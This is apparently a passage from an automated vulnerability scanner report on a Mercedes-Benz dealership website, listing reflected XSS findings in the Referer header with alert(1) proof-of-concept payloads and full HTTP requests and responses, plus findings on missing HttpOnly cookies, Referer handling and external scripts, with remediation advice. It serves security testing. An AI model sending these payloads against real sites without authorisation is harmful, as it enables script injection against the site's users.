Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET / HTTP/1.1 Host: www.theautomastermercedesbenz.com Proxy-Connection: keep-alive Referer: http://www.google.com/search?hl=en&q=6e682'-alert(1)-'ef04afa0abc User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response (redirected)
HTTP/1.1 200 OK Server: Jetty/5.1.1 (Linux/2.6.18-128.el5 i386 java/1.5.0_16 P3P: "https://secure4.dealer.com/P3P/PolicyReferences.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Content-Type: text/html;charset=iso-8859-1 X-DDC-Arch-Trace: ,HttpResponse,CookieSet Vary: Accept-Encoding Date: Sun, 17 Apr 2011 01:35:10 GMT Connection: close Set-Cookie: ssoid=6118db350a0a002f005f07e8b6cd8671;path=/ Set-Cookie: JSESSIONID=4tpik3cqg96gk;path=/ Set-Cookie: ddcpoolid=CmsPoolO;path=/; Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Length: 86751
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5690f"><script>alert(1)</script>bc22e994a68 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET / HTTP/1.1 Host: www.theautomastermercedesbenz.com Proxy-Connection: keep-alive Referer: http://www.google.com/search?hl=en&q=5690f"><script>alert(1)</script>bc22e994a68 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response (redirected)
HTTP/1.1 200 OK Server: Jetty/5.1.1 (Linux/2.6.18-128.el5 i386 java/1.5.0_16 P3P: "https://secure4.dealer.com/P3P/PolicyReferences.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Content-Type: text/html;charset=iso-8859-1 X-DDC-Arch-Trace: ,HttpResponse,CookieSet Vary: Accept-Encoding Date: Sun, 17 Apr 2011 01:35:04 GMT Connection: close Set-Cookie: ssoid=6118c4780a0a002f005f07e8de15bd02;path=/ Set-Cookie: JSESSIONID=25aep0xbvapjr;path=/ Set-Cookie: ddcpoolid=CmsPoolO;path=/; Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Length: 86781
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 820c4"><script>alert(1)</script>48f2540543a was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /index.htm HTTP/1.1 Host: www.theautomastermercedesbenz.com Proxy-Connection: keep-alive Referer: http://www.google.com/search?hl=en&q=820c4"><script>alert(1)</script>48f2540543a User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: Jetty/5.1.1 (Linux/2.6.18-128.el5 i386 java/1.5.0_16 P3P: "https://secure4.dealer.com/P3P/PolicyReferences.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Content-Type: text/html;charset=iso-8859-1 X-DDC-Arch-Trace: ,HttpResponse,CookieSet Vary: Accept-Encoding Date: Sat, 16 Apr 2011 17:03:47 GMT Connection: close Set-Cookie: ssoid=5f44ada50a0a002f005f07e8f4120276;path=/ Set-Cookie: JSESSIONID=9a34h8dp52u7n;path=/ Set-Cookie: ddcpoolid=CmsPoolO;path=/; Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Length: 86781
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5fa27'-alert(1)-'bad3f5b4489 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /index.htm HTTP/1.1 Host: www.theautomastermercedesbenz.com Proxy-Connection: keep-alive Referer: http://www.google.com/search?hl=en&q=5fa27'-alert(1)-'bad3f5b4489 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: Jetty/5.1.1 (Linux/2.6.18-128.el5 i386 java/1.5.0_16 P3P: "https://secure4.dealer.com/P3P/PolicyReferences.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Content-Type: text/html;charset=iso-8859-1 X-DDC-Arch-Trace: ,HttpResponse,CookieSet Vary: Accept-Encoding Date: Sat, 16 Apr 2011 17:03:51 GMT Connection: close Set-Cookie: ssoid=5f44bbc10a0a002f005f07e84766f648;path=/ Set-Cookie: JSESSIONID=51er345s2l9rv;path=/ Set-Cookie: ddcpoolid=CmsPoolO;path=/; Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Length: 86751
The following cookies were issued by the application and do not have the HttpOnly flag set:
JSESSIONID=wk3u7l498ldc;path=/
ssoid=5f43a30f0a0a002f005f07e8eb6904d2;path=/
ddcpoolid=CmsPoolO;path=/;
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Issue background
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
Request
GET /index.htm HTTP/1.1 Host: www.theautomastermercedesbenz.com Proxy-Connection: keep-alive Referer: http://theautomaster.com/index.htm User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: Jetty/5.1.1 (Linux/2.6.18-128.el5 i386 java/1.5.0_16 P3P: "https://secure4.dealer.com/P3P/PolicyReferences.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Content-Type: text/html;charset=iso-8859-1 X-DDC-Arch-Trace: ,HttpResponse,CookieSet Vary: Accept-Encoding Date: Sat, 16 Apr 2011 17:02:39 GMT Connection: close Set-Cookie: ssoid=5f43a30f0a0a002f005f07e8eb6904d2;path=/ Set-Cookie: JSESSIONID=wk3u7l498ldc;path=/ Set-Cookie: ddcpoolid=CmsPoolO;path=/; Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Length: 86689
The application's responses appear to depend systematically on the presence or absence of the Referer header in requests. This behaviour does not necessarily constitute a security vulnerability, and you should investigate the nature of and reason for the differential responses to determine whether a vulnerability is present.
Common explanations for Referer-dependent responses include:
Referer-based access controls, where the application assumes that if you have arrived from one privileged location then you are authorised to access another privileged location. These controls can be trivially defeated by supplying an accepted Referer header in requests for the vulnerable function.
Attempts to prevent cross-site request forgery attacks by verifying that requests to perform privileged actions originated from within the application itself and not from some external location. Such defences are not robust - methods have existed through which an attacker can forge or mask the Referer header contained within a target user's requests, by leveraging client-side technologies such as Flash and other techniques.
Delivery of Referer-tailored content, such as welcome messages to visitors from specific domains, search-engine optimisation (SEO) techniques, and other ways of tailoring the user's experience. Such behaviours often have no security impact; however, unsafe processing of the Referer header may introduce vulnerabilities such as SQL injection and cross-site scripting. If parts of the document (such as META keywords) are updated based on search engine queries contained in the Referer header, then the application may be vulnerable to persistent code injection attacks, in which search terms are manipulated to cause malicious content to appear in responses served to other application users.
Issue remediation
The Referer header is not a robust foundation on which to build any security measures, such as access controls or defences against cross-site request forgery. Any such measures should be replaced with more secure alternatives that are not vulnerable to Referer spoofing.
If the contents of responses is updated based on Referer data, then the same defences against malicious input should be employed here as for any other kinds of user-supplied data.
Request 1
GET /index.htm HTTP/1.1 Host: www.theautomastermercedesbenz.com Proxy-Connection: keep-alive Referer: http://theautomaster.com/index.htm User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response 1
HTTP/1.1 200 OK Server: Jetty/5.1.1 (Linux/2.6.18-128.el5 i386 java/1.5.0_16 P3P: "https://secure4.dealer.com/P3P/PolicyReferences.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Content-Type: text/html;charset=iso-8859-1 X-DDC-Arch-Trace: ,HttpResponse,CookieSet Vary: Accept-Encoding Date: Sat, 16 Apr 2011 17:02:39 GMT Connection: close Set-Cookie: ssoid=5f43a30f0a0a002f005f07e8eb6904d2;path=/ Set-Cookie: JSESSIONID=wk3u7l498ldc;path=/ Set-Cookie: ddcpoolid=CmsPoolO;path=/; Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Length: 86689
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
<title>Mercedes dealer Mercedes Benz located in Shelburne VT</title> <meta http-equiv="Content- ...[SNIP]... <meta http-equiv="X-UA-Compatible" content="chrome=1"/>
<title>Used Inventory for Mercedes Benz in Shelburne VT 05482 that includes used cars trucks and ...[SNIP]... <meta http-equiv="X-UA-Compatible" content="chrome=1"/>
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
<title>Specials on new and used cars, trucks, vans, SUVs, parts and service specials.</title> < ...[SNIP]... <link rel="shortcut icon" type="image/vnd.microsoft.icon" href="http://static.dealer.com/v8/global/images/site-favicon-default.ico?1190664535000" />
<title>Used Inventory for Mercedes Benz in Shelburne VT 05482 that includes used cars trucks and ...[SNIP]... <link rel="shortcut icon" type="image/vnd.microsoft.icon" href="http://static.dealer.com/v8/global/images/site-favicon-default.ico?1190664535000" />